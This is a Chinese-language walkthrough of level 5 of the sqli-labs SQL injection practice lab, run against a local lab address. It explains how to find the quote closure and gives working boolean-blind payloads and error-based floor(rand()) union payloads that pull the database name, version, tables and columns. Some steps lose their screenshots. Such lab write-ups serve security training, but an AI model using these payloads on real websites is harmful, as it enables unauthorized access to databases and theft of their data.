Less-5
Less-5
第五关:Please input the ID as parameter with numeric value
(1)判断注入点闭合方式
正常输入:
输入特殊字符:
由此判断闭合方式为单引号包裹
输入错误参数:
(2)注入类型
由于页面没有回显位置,只能根据正确与否显示的页面信息判断,所以这里考虑使用盲注的方式
#布尔盲注 http://192.168.88.133/mysqli-labs/Less-5/?id=1' and 1=2 --+ http://192.168.88.133/mysqli-labs/Less-5/?id=1' and 1=1 --+ #通过上面已经知道了闭合方式,所以也可以使用这种方式来判断是否注入成功
(3)布尔盲注
#使用length() 方法 http://192.168.88.133/mysqli-labs/Less-5/?id=1' and length(database()) >10 --+ #我们知道数据库名长度为8,可以通过二分法来修改长度判断数据库名长度
介绍几个方法:
mid():MID(string or text, start, length) substring():SUBSTRING(input_string, start, length) ord():ascii码值 ascii():同上
#判断数据库名名称 http://192.168.88.133/mysqli-labs/Less-5/?id=1' and ord(mid(database(),1,1))=115 --+ #这种人工注入比较麻烦,所以一般使用python脚本或可以使用burp的模块进行暴力,这里不做演示。
(4)报错注入
介绍三种常用的报错函数
1.updatexml(XML_document,XPath_string,new_value) 2.extractvalue(XML_document,xpath_string) 3.floor(rand(0)*2) :原理科参考https://www.freebuf.com/articles/web/257881.html
注::前两个方法输出字符会被限制在32个字符,第三个语句将 输出字符长度限制为64个字符
爆库:
考虑使用第三种方式:
#查看数据库信息 http://192.168.88.133/mysqli-labs/Less-5/?id=-1' union select count(*), 1,concat(0x3a,(select database()),0x3a,version(),floor(rand(0)*2)) as x from information_schema.tables group by x --+
#表信息
http://192.168.88.133/mysqli-labs/Less-5/?id=-1' union select count(*), 1,concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) as x from information_schema.tables group by x --+
#列信息相似更换concat第一个查询的字段内容即可
http://192.168.88.133/mysqli-labs/Less-5/?id=-1' union select count(*), 1,concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2)) as x from information_schema.tables group by x --+
#注 limit 处来显示不同内容,调整第一个参数即可
注:如果有方法上(concat等)的使用不理解的建议百度了解更多再回头看,,,,欢迎指正和交流~~